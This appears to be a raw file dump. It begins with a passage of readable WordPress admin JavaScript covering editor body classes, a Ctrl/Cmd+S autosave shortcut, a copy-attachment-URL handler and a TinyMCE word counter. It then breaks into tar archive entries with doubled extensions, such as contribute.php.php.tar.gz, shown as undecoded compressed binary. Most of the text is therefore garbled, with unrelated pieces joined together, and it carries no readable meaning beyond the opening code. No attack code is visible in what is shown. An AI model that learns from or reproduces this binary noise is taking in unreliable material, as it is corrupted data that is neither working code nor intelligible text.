	if ( typeof tinymce !== 'undefined' ) {
		// When changing post formats, change the editor body class.
		$( '#post-formats-select input.post-format' ).on( 'change.set-editor-class', function() {
			var editor, body, format = this.id;

			if ( format && $( this ).prop( 'checked' ) && ( editor = tinymce.get( 'content' ) ) ) {
				body = editor.getBody();
				body.className = body.className.replace( /\bpost-format-[^ ]+/, '' );
				editor.dom.addClass( body, format == 'post-format-0' ? 'post-format-standard' : format );
				$( document ).trigger( 'editor-classchange' );
			}
		});

		// When changing page template, change the editor body class.
		$( '#page_template' ).on( 'change.set-editor-class', function() {
			var editor, body, pageTemplate = $( this ).val() || '';

			pageTemplate = pageTemplate.substr( pageTemplate.lastIndexOf( '/' ) + 1, pageTemplate.length )
				.replace( /\.php$/, '' )
				.replace( /\./g, '-' );

			if ( pageTemplate && ( editor = tinymce.get( 'content' ) ) ) {
				body = editor.getBody();
				body.className = body.className.replace( /\bpage-template-[^ ]+/, '' );
				editor.dom.addClass( body, 'page-template-' + pageTemplate );
				$( document ).trigger( 'editor-classchange' );
			}
		});

	}

	// Save on pressing [Ctrl]/[Command] + [S] in the Text editor.
	$textarea.on( 'keydown.wp-autosave', function( event ) {
		// Key [S] has code 83.
		if ( event.which === 83 ) {
			if (
				event.shiftKey ||
				event.altKey ||
				( isMac && ( ! event.metaKey || event.ctrlKey ) ) ||
				( ! isMac && ! event.ctrlKey )
			) {
				return;
			}

			wp.autosave && wp.autosave.server.triggerSave();
			event.preventDefault();
		}
	});

	// If the last status was auto-draft and the save is triggered, edit the current URL.
	if ( $( '#original_post_status' ).val() === 'auto-draft' && window.history.replaceState ) {
		var location;

		$( '#publish' ).on( 'click', function() {
			location = window.location.href;
			location += ( location.indexOf( '?' ) !== -1 ) ? '&' : '?';
			location += 'wp-post-new-reload=true';

			window.history.replaceState( null, null, location );
		});
	}

	/**
	 * Copies the attachment URL in the Edit Media page to the clipboard.
	 *
	 * @since 5.5.0
	 *
	 * @param {MouseEvent} event A click event.
	 *
	 * @return {void}
	 */
	copyAttachmentURLClipboard.on( 'success', function( event ) {
		var triggerElement = $( event.trigger ),
			successElement = $( '.success', triggerElement.closest( '.copy-to-clipboard-container' ) );

		// Clear the selection and move focus back to the trigger.
		event.clearSelection();
		// Handle ClipboardJS focus bug, see https://github.com/zenorocha/clipboard.js/issues/680
		triggerElement.trigger( 'focus' );

		// Show success visual feedback.
		clearTimeout( copyAttachmentURLSuccessTimeout );
		successElement.removeClass( 'hidden' );

		// Hide success visual feedback after 3 seconds since last success.
		copyAttachmentURLSuccessTimeout = setTimeout( function() {
			successElement.addClass( 'hidden' );
		}, 3000 );

		// Handle success audible feedback.
		wp.a11y.speak( __( 'The file URL has been copied to your clipboard' ) );
	} );
} );

/**
 * TinyMCE word count display
 */
( function( $, counter ) {
	$( function() {
		var $content = $( '#content' ),
			$count = $( '#wp-word-count' ).find( '.word-count' ),
			prevCount = 0,
			contentEditor;

		/**
		 * Get the word count from TinyMCE and display it
		 */
		function update() {
			var text, count;

			if ( ! contentEditor || contentEditor.isHidden() ) {
				text = $content.val();
			} else {
				text = contentEditor.getContent( { format: 'raw' } );
			}

			count = counter.count( text );

			if ( count !== prevCount ) {
				$count.text( count );
			}

			prevCount = count;
		}

		/**
		 * Bind the word count update triggers.
		 *
		 * When a node change in the main TinyMCE editor has been triggered.
		 * When a key has been released in the plain text content editor.
		 */
		$( document ).on( 'tinymce-editor-init', function( event, editor ) {
			if ( editor.id !== 'content' ) {
				return;
			}

			contentEditor = editor;

			editor.on( 'nodechange keyup', _.debounce( update, 1000 ) );
		} );

		$content.on( 'input keyup', _.debounce( update, 1000 ) );

		update();
	} );

} )( jQuery, new wp.utils.WordCounter() );
set-post-thumbnail.js.js.tar.gz000064400000001103150276633110012457 0ustar00��T�j�@ͫ�-HvmI���`hHh�%	}4ie�#튽���_��tv��m��@��zX͞=3sf��(ỉf�S��*M�2�fQ*�xYuIV2/T���VB鮞��VDu�$����8�7
z�����!��d�@��?���%����C��mx%������ɱ��m��@ded�˜����R[��R�>�?��X]�+9�%�XF;{�
O5<��O)����	�Ư���`��
�����n/�h��=G�4]�ۋX�%����sr��ۗ�j#ի#+6}aR��b��Z4���4�.l#S�7u���~:�
q���Td���ى(+��!��Ԕ��j�|o��ڢ�l�¬�"���2c��c9s��݁�(�Ү*"1hWZT����\*
DAN���`%��{�<�CXL&$A=t���a�ր֡/D[]=�[�j�.�-�X�SW&њ�sgB�y
���\�f����V��b�3�wy�f7�ZN2�� ����z[_�択���v=�����7!W�o\�������{���T�7Z
contribute.php.php.tar.gz000064400000003747150276633110011444 0ustar00��X]w�ͫ�+pԜ��!E���֦��r;�5���ra�-�%�����R"+:�m��}��.v>����%��*2�̑��Q~�ٲ7��2/�X�Ձ����⣮c\O=�x����zz�������'��ONq��͉8�85��ᰃ�����58G:�{�b�d��|p��5������?W2����/�z�x�b�m<����V����S�RG�����5���՛��Cq${�(���3��w�r�����o��&��h������(�7fj���C�5^�P�@|�+_i9N�y6�k�A*ms�k�Î�P���(3���,��(f��/�._\�f[��?�ɜ\c���A��"�(����-G��!��T�����fA��{۟v��q�ޠ8��{1�bH�!���^Z;�A0��o�C8xެ\�10r�x�&)��
r�e�+r��4I7V�tJv��>;H&�φ2M�"D(�n.J2uc|����q��#}���Q{W1x_�����?9}�ŏ4kD
zrM1W��+�"��"e�r[�/��f�9�SS���s��m�i��oZ�GfAM��HV;G&�����
`J
h+�-(��E(�w����4^(ߝ)�S�"�xZ�Z��]�IV؈�������CU�b��_�v䧓s��ٓ�G��GBj�x `E(��:>�1͟^�>6�.@jP��zޕZM���k�voP���ʊ��E�[d*�Ea�M'�B�xk���� n�#p��d�/h^q͸6���I�t%|!+�Ĩ���^])|�e,ߎ�[A���s5�q_Q�t�Ri�$�3y�
�6y|&�h��j�{�ۆ�)�l;�L�ǤQ�F�����'�m��P��9��ϐd�`-B�$�)��2o*3Rp�EI�C��fd���
+jն�%�v�=�b��ao�ii�J"l���s넿A ='�Y�G3a
�{e|��,�0ѩR�\Td�"���]f��"�4�V�������ʏ
rZe=��d;�ޅ�
)��C�4@hB�V�&E���rkbp
/+���>�$F��������(�)Fߪ�\���`�9�<�K���X����iL;(��WL�)�7��4嘣��Y���Ue],���A-�arK���Epr��h�!�f撥���_;i��m
+�Q�6��-gMK3�A�;KGk]�5��~���:�>@E��hZzw.�-m[�zԗ��x�;
,��ݚ��KI,C`�U�
6�?�����������D��t3��LUL�UJ�[�PW>F����e�{�~�nƩ�:妫L��X��7"'��Y�_0[�TMAO6Y-s�YE`E+����y�oa$Hs��D�L�J�Bh��{��2ɘĪ�b�Y~�Ά�O��'�b0�;���ܽ��7m)��8�ͤ�d����:˞�r}��0H�f
x×���6�j+����HF���m3��}qf�N���2�1�\�,ZY��,QCϒ�^��nW�u�����Ȫ�_e�
�%�=er��\<��Σm+v��ejZ}"�[��+�w��D��
�Vp���J[� *GNbz��GdX>� >�Ba�$ܙT2,��	d����)�=K\oln5�-[�팥-zuʟV0s���[�`<��v���3�������חq�7��^N�U�TR&p�IZ�S�W0�%a�;ScH�iĎ�?u/:��52v9�Hg���yEI�'��A.
�"qʌy����I��MS��{��ƜE����rS7�����J��[ZFaEI�
�b6��(p��}�}�޸ā�9Pf�O(`�@�AV��׸^�̏�{X2�ƈ��x���*c�d�㎗�B�r5�7Ĺe�~;����LG�J�`"�`����ru��<>ub�Wn
O�m��.�M65�x�X�P������F^�ĺI���V��v*��*�=k��4��F^�Now<�[���3����|���Ԙ7�customize-nav-menus.js.js.tar.gz000064400000056366150276633110012676 0ustar00��}kcǑ�~%�8�`���d/�iG��5o-[+��YK�!9��`���ۯ��]��@��$ݞC�t�tWWW׻.�b��e;/��eѴyӬ��l2�����|vU�h������ʿ�y�f|U�W�����;0����������w����������ѿ���7�?����e���̢��/������n���O��]��l�~�������.��,�����#i�U��)4;)ڶ�_4#3?e�z��U݇�j>m�z>��E	�Fٽl/�iwg�j��i��<��݁	��1���
����l��/�|>3ԋ	���ݱM&���(�yu</��������f�L`��mq��X��ϊ�ś�2]?:H6o�e��Uti2�w�
>�&|f�������4$4�xQ�/���|Z���/iA�����4;�_�by��Ƕ�70�p��Ր��<�*�En��^�iNp��fW�������'j?��������1��mn���`�/nEs��|52���C3�͝_��6��l�,�
������x�>�<��8�WU˸���Z�������A�������9@�Z]<��b���ʀ�ژ����0���s弘
����֬�>��u�ޝ{�@?f>@Fk:�&�=����nƆ�m1�L�vp]~e�u���"�f]�r��2;~�dח���k��y�7٢2�~YW�b�d�y[V�	�M�luV�ͥ�@e��a"tɫ��QerQ�
���37��U[�ͼ
���dY���<�i��:+��!�m0V��<�i�^N�EY�@�X2S�V�f���������J���zVTv=��웡f����2���
�N�*�g_<4ٷ�N�֟��;��Oa�SƀlZ�kW���x^f�V�&�<��>�禽��`�7���X,��l�g��f�UUe��0'3�Wϫ����Yvv��3�I�O��������<���@̰t���ܦ;��^
�~�n�i�z�
$�?U��A�r�X�m
��L6W|��a�h(��Ƨ��C��9�|j��En�h�<T�7��Σ=��̜�v��$����O|~�粨fz�sxY��8r
xo�4�9��[���|�Å6/��`�ђ�P��
�m���>7�klؓ�lQ7�B3C9�����'kl�C|#=3�a`/����>��L�6ßM6Ξ�E0��,2�N#k�n��7
0\�eMOq�x�
�6}��l��e[����t5�a��Ī�^�Mq�=�?2���CM��`>k~Z8z�)$uUd��C�؛|i>�WC��Qf�S�4ҏ���1��F�p#�$'����\�-$8�1}w��`0"�V���6�0�ci*|�2l;@&jgp�8�opJ烑?���2�_f��ժ���۷xK}	(�%��)�>��yw�Q�b�Ê��<$\(g���J(}s���)�k��n�-�7�g$Թa������=��S3K�(ّ��"D�Y�����,�D[5�Η��Ϡw��|���`U���@D=/��4�9OhP�>m��˼1��Oq�S�ݞ]��Уd�I�S%
���l�,c6Cj��1G��Y}=�.eb�>�G�"�^���jjpj��%�A���-�2�-���
��v�ᾗÃ�`���%.�}�+��c�k�_�dw�� ����Q
o�P�ZyB��VL�`���ng�<>��\ͨ�r�wF�����#�5���p@i�����x>��C�-C��o
U��%"]�͙�;	4q����Y>/���f���Z^m��c���+�A�_�;�+�-
1;F�7˗�rʑ_�F�ȗ�K����6�Y����絙]6����\huUN_'ڜ6�����Z���9�F�=��ǰJ��M��t'��9%��0����\��D�4j��	�<����=Yxg�<�����tj(�F,�h��#C�!]l2䗎���-?ٕC^�T�ĆB��˼�jC
�@��0�X���X��zs��{M�`Z�'ϋƈ6�{L�^�+�Z\����a��y�����"H��WU�3sq�NfW�U�V��:�)>؇:�	$AH�DŽ��8�I�?i��i����V�ʢ�-�A�4/�Ұ�+Ce�\H�~�����x�Ҍ�ڵ���n�|)����4�c�0���x"�{�|�M�xI
��������ո*�v���Q�tj
@��(�����<����<�*�F���ꦰ#��.��s�'P`N��Z<��	����%���9�jd����h��$\�� 1��jf{#t���x�5H�=���:dF 83����ڶ�Q͛�0�_;�Ǒ��C�sy��0p`ț��6R���C��1.��vN(U���TjN�z�j�gկ��k#f'�ۙ��=Pm��WFY��|�dX�Y=��e����yD�FߑfM���9Xz9��M̲x�u�C�@�Z�2�$�7>#�F����#��{��g�i
�]��M='�Ө�Io����g}�&7�`@�/���'��w������bUp��|�H`��z���uj�訚-���M!�%]d^�_�KD:#f��6��u�U��"�.Ue�I�$ޱ;�~�Sq���G�ʈ�2)F@�%���/
A�����������^�&t���L͡�R��#jż��(/.�bh2<������g�?��4�;�oJd}��$R�3�\�1�p,��^���e�f��������3:v�4�A��@3ff��zvj�I��{��8#W��2J:���^*�'��n;n��Oq�a��VȔ��2�O8�C��(���f<�Ϋ̉�)�|���e7��o�i�>z�,� �Ew��9Yg��F��]�_!*|ax�'(����L�9b�;���2�[Uka��*��	�UU�=��x�2���;6}=����u;���1w�lc.[1)��������*�2 a;��>�����j���29�g��+��Đa�NJ`%38܆��
��U�ث)�\�̨Y��TM�f̔�]yx�6k`L¿��y�i.��a���/����5$��q��e��Gi�g�)���
x8\�^��R�Rˈ5S#�nj%��Po4�W�
����i������Y$>����,�,��$?��}�>�d��p�}
�P,�p��8�uO�N._���l���L�m	����o&͢�_G6!pg@���>�8����u���\�W�y&��^D�g����
���l
!Ow��3�짬�qZ�f�5a�e`v�#d�=�&c�`^�{0wt�;v�s8a˯QK~���1�)L��:4�8y��t���5'u�M�G�E�aP%��g#���:)	��^5NF2l|;hb1H��9��'~9��I���'Q���o���,��R�g����6�n�0dɀ�V��g��C��ݺٚ�)��`)�Vm�8��5��~t`h}�*��e w��p��f®�&0��͏�`z�$c���'��yMҐ�(���	�Is����>䋐�WCP7�OD�7&��W�N���d����B��U��pd�
����9G�N�97��_��U~fCk��&���2b8h���g���k�O+���#�@��L,W�IU���W�׾��է��W姨�0�=[��~+�/ؽ�yu��4�X���R�n┾;@�oע��稽��3\X������))D屡>�Px3B�d<T�ޠ�:�ki[���1s���ҷ۱��%Yo?���_����Wf�N���]�i1c�y�F�w=�8��jB7��
�3�Ҕ�ܰPho��E���>'�8�r޴���y��~�|��:���h�2w2Z��C��r��L>!?�Oo3��/��4 ��s���p�_7<�������U��n)x'�$����M]�nwE�mw&��b�P_�XNUs&N�v�G�kYB�f�o�Q�V=�".��,��N��!��GZl��[��@XN&�!�l����+-$F�+6^���f�ª`ͥ�sG�Uő��;�O;���� ,o'r�\���Nƀx��7�?`<&��3�g���
�)bÔ:�Iȹ���2���NZ�9p�3��b՘
d�	bSgE��G�X~�p������0�71�N�cF��?�T E�.pgAӧ@����P܃���vԩwr�>�ؘΕg���M$S�V}'|#����h;��M��-�d�%�7�ŚO����^'����ٱ�~45�Yv�,�V|�<	�q����+}6gRG���}G4x��적�b�b�梷벇�ß�zVg�^ހ|����]�YX�Ȳ��g���?S�h(�;��{��Lm�^W
(�<�p��B~xd�ng��	�	;H
�>�7P����
�z�nU�G ��j"]r��@��gx���'���EPUL�x�og?����0�dk�E-�ͳ�А35m�s���+�d�A�K�#c���?�$k�cY�<����d��l��<���L��,�Y�[�TB�
n}��1���&.�}~���b�_B�xzYV�_�����d���B�^�Ђ�ݘf�?F"�4�(�����x��`�����A�	n���?��k����*�qL�5qC�R�b�ѐ���?XBr��Ӱ�ƠN8L
���:x���.�]�Z=�M��\l����J�3H������e�e�3X&��i�V_D-Y��=������X�Q����p�����nv휉�k�3˴78;.y�[�	8�e�'�{����K��3�����)�5Ik��>���󄤅l����N쵋*��E���@H ��x6�l���
�踣�e���G��o��<�ׁ�1+83�j:�3��N�u�q'ȹr�5�:��[�A4�M����i��Eī���bT
�n$���u��^net���`�Wx�7>$�%�!��������K�MLs�8NΟv�q
�"�Dg��F�5���,����$mW؎{�K%
 WC��yqQ��୏�uL~X����_��4�.����e�.��ٸ��M�;�{:+��l����3T~�Q�M.$���aT���+s�ߘ�Y��3:kbN�oU!���29�.�K6�o
P:P 	L�T0#�JS���V�S��i�%�������Z6�����]x���w��]O~�~?�~��{����>{��}�DA0����$�X�y�e����L�61�ƐW@1d@�
���(*+�H�8��z%��C�,�F��C	����Y-��a��Hͩ	�a�H7��Ԙ�Re+2Ȣ�FY;�$�^}8�ߙ�b*MX���4�=�X���v�G����=d� �ۧߤ�H�w�ݚw�
.V����L��G�%��)��B���;�97�x��Ɓ�];��+78���3� ��̧<i=��P�#~)����Α7�g���2�e�n�z�>��"v��x��^���"��ۑ�s!��w@(��J�?z�Wʑ�������k��N6�~��_��A����x�ˑ#O����V�zBH�`u�ΚUՒ�ndD�t��o1f`���l�H��W\0boP��yݲ�¤Qqn�t1���<d��<o���J� �1{}HI"F�5�Z���D�"#�=$��f�A��'�
,�
��1I�5�
0�bZ()�ŏ��m��t%��G��f-bY�b�������p`�_��b�%�{b{�Z��3 �[H���z��ہ�4)_��A	~��F�D�K�&|d���Ǝ0��ݻ��BTw
؇��b�����g�2��$r[��M��2�e9�#�����/��I�b�?�m�m������`��T�m�w��Ǜ�j$�4��;��,(�۩��uȉ�I$��A��!���ű�
{R�45
M�R�YJ��@]tX}~��3mx��@;QX.{#����#�	�xIYnk/��鰋��2�B]��_��%/���S�P��Vm
Q
�>�����q\���v`/G�/眔��#�¦{d��$�Ļ�S\ye���ٝ���6�j'�fh��!F�O#�`_:d-�����L�Os�MM��c�42չ!��@#+旐0�2(��h�>N��+�
Y��zp
�,4O�)���߻���"?�v��졟�ey�'����6�H&�@`�8w/E�;���j2�!/��ػ�ހ��� ����Do��mR���{��7�8H�ǂ�ՠ����ǔ`qHA������+�0n󳉒=d�fC��!��~�ԑ<�����=	��q��֑��L`���kbSK"�0�$�$��%PW�<� 懲��mAy^�~���%E?'��gtxx��7I�D%.���^�:ח�$�A7�o���oh��'��(�|݇llj�1��CQZفO��ߗ/�[��6�b�eQ-��v�{�C�q[_\TN-�x�Yap�\�����
)8!Ϙ������6�| �_
���s�J�u�@�Xe�ǭ��0&e����UkP)n��:�,�G,o�E9+2&5"<=zb/KsGy�;���oa�1�T�2A��:!�Zµ��K��g��.��Cؾx��V�[�/|�]_�
<
?�j���S5���t��g�
��fԗ*�(u�~ǚN""����eЭ����w��tvB�X��,ft����/���!%n=�Yl��V�%�*�e��n�j}�Ư�1t
R4U��9�H�A�H�9�Gط9i]�L���xN�
�:]�/XΕ�"��򍸔
l�4Er	;	]'lOca�,6�1��]�4���>I�Ў��йX�V���o�v�7f��K!#pc^�b]V�<�aI�ȡ��l#L��˧+��/p�<l��`m�D����G�:��F����C�/�=/k:�q�y��^�)n�"@3P���rɇ�����E@
e@F�����NT�޼�&�u��d�zi���ӗ�K�	��`�h�:
ӝr��g�=���L/���b��ۿ�I��m0M�9���;�HS��0#{�
Y�h��.�����o�+<�
�<&��\�ơ"b&�n�L���0B7�w0���;�~o3�q���H�H�(��ŬWOšN^�Vb��݌�����"җY�6[yj��jM]��jɮ.<�\>���!�_-F������Y�%$����%7>3Cu�iD30�:Q嚯��v'Q�QY��#dA�t�+:�p5�&J>]�ρ}ڈ��?":��͋Ĕ��G��ᛎ��G.�,��i�?�L鐖�^���	Ő���9y�ٱ�Mk]��ϡ$�
!�$��xg@w/�5{����F�ua}�X,��ģ�ض9Ϛs�"l�2әbY)c[i��8��T�Ϝ���v�F�a�Nj��4�g�u
�Nm��h�>��9i��.9~��3e۠N���(�r�EGBvYp���n<�	⊴��M�Bo�	1i�Q)t��$]�Y,�i�ܭ&��~g��b�ѳZԋ���⿟S��/���TQ���vy
��/-��Xyf��|%-<D#�f�qd8��k�f
�M��0�o[�Ʋ�߽N>�l�վ�Fz��/��z)=^��!�<��q��h���C����4'���8�:Y�_�>x<��L���A�}3�-��JR36��:��Tb��ޖ�f$�3P-���S�|`��GW2X�{�a�A��rB��K�V���I��@=�����0��İV���ju
��;�Z	��
�=�U�W����i2͘�w}}|?�yRtl�u��>j�~�T�y����%f�3z
KN{�98��o�^e=���XY�-��D���t0���g��Zh���ץ8c��P wR����fɞ��8�`9���A�Z� ��4�
X�fG�9���.��B�YI�����F���'����t+�:>�]P����z{O^����1�<��ǖ�'ށ7���,�r�'^��g�?�ɎZš8���
���-*
0��n
x�[>� 0�yE��f�O�O�?X��{� 9Ta�x�GRݡ^�b}0��'E��M^{��A_�tx���%XXAFR�,�zY�7\&�1DR��p����<]�6	�*�����&�t�E�>�I2'p����{���pS�����6l���}'�s'�;D�
6)�Aw����)&J�I���q
���lb�hϣq��'>������(R� ��g� �?"wvwG�~��N�Nb����F�(��;�0&6—`�-���L3��N�/��?؆��?8�٨{�P�~`��-f%�
���p��B�p�#�4B�c><�+�`v�=cK��L����͘��
�͛�=��Wص���VE[\��D�dN�w�>'���U��F
� >���Al�3{�hQ# ��IB����(��,����I�:etZi��`I�{��b�>}
�N�<%���og���)����m�B@���<�:������N��
w�s�)k������I��h��Ȳ>Y�1r5�6�$��f��a��hKpd�ڤ#�Ê��8��en�"��6+@W�ُ���i��QP��-U�Co��f��%�r81ȼ�?��8z4�t�Ф&���^���eb���d8�s�&unlp_�fcC��6�4-7��u�)]���X�W��i�7V��� ̯��	�_y��l���^����U^��&�ؽ�^|E�� W6m��Z�� �B.��)��Sa``��Չ�b(�

 �Y�FaV*�4����a�A8��W#k����\���ɳ���{��|����2��򾾐����+�e7O��Vu��%�|
����L�`ķ�\��6���YM�y������0͊�9����n�l�7G�ڦ�2�.e�J]u���7AOr�S�ux��8����H�+A0\��"��;�lநr�h�'���3�۠=�\h�x��.Ц�t>����Q�ۑ�
>��0�0�$W)���21ԑ
ka(Y��0GYvLfp)+0
#K\\�8�[�L�����#�4ے����n��Wt�as
N�ˇ�gu#�����(�v�E��8�	r�����2�)�X?��LAZA��F���z�\�e=�^9�,J8�9����n��	C�����e�`MD3�5�n��+,�.h2y=���8���o��F��Iv)��$3)ӟ�O"bi}Hq,ʤm�
��i튝�<�s#d� �p�ѫ�$�h��;Ѥ}2� _׀F���-!�mۃ�J�e��#�d$J��s#/��x��E�X�HE񜀝�⼢����y��G����+�U�H��M�pC�ݕiM"'*�7&h�Vgދ����.�&H�*;�T�ޛ@4�7x�Z�v�xn�kf��ئ����$�?Ä�'>g?�H�-�$��]����Uz?~�eeCRC�.�y@"{�4��6�����|׊�� |O�۠/��	>�
(�&ѳ��z3�@�v������l0ʹ�\�>�IO!-a(@�E�1}r�'��@�ve�d���LJ����d��7�̱Չ�dG�2�������AG���9C��`sh=�vQ�M�&gec��O�Whj�S���pY�ԝh��Tf�W��N'5���=�&l@|�]�,jH�Z�:Q�k�
�6�ѷ���G���?B��&`�Yq��10V%�E\W��۹�?��K��|�/��QGK�j�g�
-�3N�w����{�~��F�)��-��!�d�x�'���[����6AN�|�B��-��#��u!��Z2��+�|߱��i�'&�x�D������O	�c-�;�e��4Y�[V��Dl~�E��:�� �E���
�b.<���͉s�&b�:ffa��\X�F�a��Z�֋g�z�_�>�2���2�s�@ʇ
^�s�]�s;V�	\|f��h��쑑�Z��2��}l��[f�ym��@��<ȜIR.|��~�V~��Lo�YՓ�`.;hj��b3m&
��T�B�\�i��բ��(AeKP�>V�$v~������tB��u��D���(�s�f���B��D̺s���1��}8ʭn̼��:7
�H`����c������v�M�5�tm��+�PE�_^�7�>'���1��dW�[GbҨ!��32Z�7n�>ǃQ7��S��e�X��%z��\�^��Ŋ�d�'꧴M�W���BU�n�9C�7��tʑ���E}���ݛ跅�aj(�6���IpKG@��"݉a���۸��:�@�y�^�i�����;�C_1�GT6H; �;w�mL�%
��P���4q�7�8w��T�pG;�;�F6����Ou�˖��~h��[n��5��rt��{�.%k)�Lߨ���s�X�+�$����WQ	�
�[*1��cH%�	L;"|������s�dT��҉��v����U,t={�%�F�	�-��5Z	
��]JȪ00Ň�H�_�ل��yw6���v8�I�<g������H�g�pȱ��+q6G.��OM:��Mů�9N�B�նxK�� `G���ֈA�A�'�͌욼�_MӬJ���'�U0]��mN'lP+>A��&ʁən,e�/�0�g+a�V������)b�!f�gl�����LJi3�vU��xkH���8fN�N�L���\*f�:-�˩�`��mҳѽ�#�������.�mg�ּ�I�=��9�
f��7��!���m�+���"�����|!+'��:s�IrX�%�ꫠ����s�~�ۿҹ݉�����:����M���/��S�ϝ��"0�K,v~8���Ў|�י:�ҧ��v�<2�S��	5�2Ϩ&Qb�/�H#��q��`��P�e择������.��z�"ۭV$�{�Y�GKd� �ד#X����g�摳�ǟ}7�Ь�R|r :n�k�8+@3)T�5��0�oF��Wlj�6�P|t(]/ة��,`��J�h��Q��W�q�
��h�ĉ['%�w��6��iy�Qv���+����}.^xh�wo���Zde�Z��Ef��ti�A��)sDZ��O�$�i0\��Mœ�x�|��^o[,�`�`ÇJ�q��1���}y��g����;���%�&�ێ�m�׾��5_[;�ގ1?H��r�Fn�xzNq����Tm�H]g�L�Egp_���t���(1
͋����N�-�5 P:����۷��9�հ7[�Ż�s�HV|��E��1�g&�Ėt�!Jt%fgq������|-T�47�#���f�ĺޙ��"^�H*��
���Nh�^"�>J�/�!�mL�A`ۋ�[@��m��l@p��yP����X&��,�����]�O5D����J���o�����f҃��ܿ�@����d��Dz�Y��/�Ųl�S+v���]�ֳ'�y�!a�b��U�*\ ]�.L7�� ��Ĵ\�����.��}?eV?<	�Ѿ�n���y��w�=tʺ�j泛4o�Ȓ���O:Y2F����TG�vek���J_�)�Kp�UP��莌 C�cPNcD�1T�S�
��
d퓈Z�� G&wX�+(�)�
]��Z1䳫�+��bJ���	�CɃ�T��sW�����^�� �S�Ӫ��m�o~c7U�W��h
a���/��&Ŷ�v
M�8���u�֍�L'ʲ(Rt�h��3��dL�
�/v�m4É�b4<l���R6�hh���}�Q��JO�Y="��Ч��D!Mk���� ���{C�W��|�䦡��p;n�ѓ[����o@�Ղ�-�bH���)	�7��+r�K�!���(�ޤ^`���|Y_�_
����NuoY��u[�X�fHjg�hRR����
�Si�O��M4N- x$سVxʀ�y;�M~Ŧ��"��Q�e��Zp3�ѿ*������`�3R��t��˼�Eş�z�����}7(3�+��(
�fe��U���� 6�sk�E(�fEK���N*�d���@n�Z{�(��cA�q�_Q�|�Ꞝ�@�ܼ���YQ��\��j5>S�a~�Y�0�whW�����%6�P[-���|�Hb�F!<C�q
�@��� ^��s��E9-G���-M{{6�p
���i#m��y
�*AI#:�ެ5	��P������|iV�ׇ�yz}��t�hjb��r�Z���J��b,��pi�~�-/��U�)����c��b�-���ԡ�ԆB���!wN�Õ��5�&������yԞ�l�r>(�
I�ɥ�7PY��\0w�s���7�W�z�htI�r��%B�������?ì�_����Rd�]>�c�|���;}���]����W��x�5k�|XU���1g�|z�&���lQ�.�9��5X:���$5���6�7�U�$�%42Œ�eؘ�HD	${H
���g#��YKp�Ɩ�`9�3(�n��%�t%]���X�&n�Ϣ�(�0��Zݱh\��:��@��k�
���[�+���)�)��"T>��9���t�ɓCr$�������o�$:�'��>1���Y
�!��N�'���!ub2wPB��f������#��Ρ?"S�W�dO�����9���O�3(:��X�.��a%�e1�z���8��J�ߗ�6�?V��
3q�%0y��(��9K
���Ťd�nMC���t��`b���׫{�#�5���tQ7H�O�3���C�q�8�r85÷�TaY�Zj
)��4��<�>���e
-��hN*��:�@��Iv��@�����G�Y���cOWeC��n?<ʒ���d�i�oqy�T
ݯ03��������B�,(�f�Z`�45_/1W�~�������S�aV�-c�MW{_uO�š���O��9���썪� �@�@��;�\_en^>33���!�
y����w�S-̝G�5��Ou5���Q5�] p�o�x�4>�*�c��lT%AL��h/�!
���&��0߱�/�ʰ��؆�#�P�=R���"��\t#��sh1��_h�ˋS4�JT��'$ؔ�1%�Z�����QȣN��*5P�+b�w���R�H��%q!���AAɛ�y���fj�{4��۹����$d�7�f��S��QURo��r]�h� t�����~ȧ��RfK2R���� ����!ͯ�eRI����N�f�28�I�@��<��
�?`�ܼi!���p��Q�%x�9'}`/�`�l�<�S�zY�5��;8���3�����C���l��S-F��L��1™<@{&|�ou��CpaЉV���˶y�Y)Ȧ�!`�
ܴ����w`��G�R��glL;�
���P�����Ԍ4.v�`�?����q�uA�T�`&�0�G`BĎs��@�9���L�v���}o��-���r
��yHhJ6�������\¥��'W3L��v�a_F�#��eo��P�'R�U$�ف[ˠѫ���\�\飼ِ�I�lh���9�K;
���X2����5�p̡
��G�ױ�Y�cV��[ﹹ��S_����cJS`w���\X-*����GpG\����}s�ͻ�͒��ه��``B
��O���n,4��1�AxT����'w
���Ҝ/*����6��
�6�_?����Dբ�[�>{���r��8����L�)�bD{�d�n)�Y���9�������g�۾v�����]I3��`��lmf���^rcfOc�2��0�N���ww2�m�_�,+��a>�{)XX来l�k�����rP2��\;��l�����nO�'��F_�7�
ykAh���U�%8��<�"{��y��k�:�vp;�������L��W���L$)��n���n��>���Q�q��S­d��R��$��P�k� ��g��B��b��>��/�ȃ���z�Qr�~*B�]��b��P�ŋE[p�nl?{���W�q�A�+��
�Q��7Y�?�'�eh�f!/|�=�}4	��MUy!�;�n2��=���<��f'ߥ&�]X%���/�[�)󻋬q�n�}�%�n�1u��Wx�2���������[!�'� ��$+?�a�f�>(�
��#���9����N���� �W�vtU���A��Gd���xR���qCF$*�#������ǰ#̜c�eF�R)�1�z�`��9;Μ���p��f��_�:*����g?�0j�w�!;���~^���)
W�f)5z�K�c��@��#ɭ�T��2�2�F���U�v)i�l��u������N�M4Se%O�5��8�zG���oz;���:����<J���G���4��s��7�~rN
�8��^x~��&��?���<JS�[�P�R=���딴�uɘI��L�`�ZG�Ѝ�{.!��mD�w]�A]s�^���ya�-VgFn�>;�)ʾ�^��{n�`/�Q"M%��<��zo�9�;8�uoJ9�x|U��I�8����S `9����Ȧt2{��{O{�=�'�./)����c�$�Md�����&�w��\Z�h�lZNo�!IV��N�gó�����y]WE>���]�믑k��^ҙ~ ��眯\�&�9��S�?Y6]�t�ܠ�V+�z���E�*]����h��҆s��ȹ�O89�\ZA2�I�:3��l�!�J�H�)��C0���,��3d����,�fеl.1�Fy��t �EGM����s��*!��\;>��*_4z��Qצ� %?���;n��Ҵw�H�K�]ݡDTF,Z`s�a�u��&!:��=dE�tQ(-�� ��uϰ��1�z��m<��^��a���M\:�0ݳ�N��Y>��Q�YU��
G\8���Q�-�5��X�腬"gm�
��\���xq���}�Q�t�gSzp��e��C�/���/'ۍD��_�;G =E�ޣz[��,�X�E��&s/0�IÄ�^���b�}a�	�P��٭�b3�F�9�_E�`�5�炝�FX��n���h��J��	wNL�}(T&:B@�ϡVcP̱��^'��դ�YN�νb��+�~������F�4��7gg�\�bʧ��+��~I}��6�y!(�D�A6��-¬�W�t�[��g�#S��|Y�c;�Q6�8�9h�Ɛ�lp�7���5KO���m[�6$��w�7�6K~�}[;7�;n1Z��{�
�^�nP��;A�\{��y��i|��T0�Mܩ~�m$�t{[`*[o���=N���[z+�
_v��H�}+�)Ֆ((�ն;�?��1�%��Oz}�*#k��:��K���K�Ab`c��m�l�"�r�����
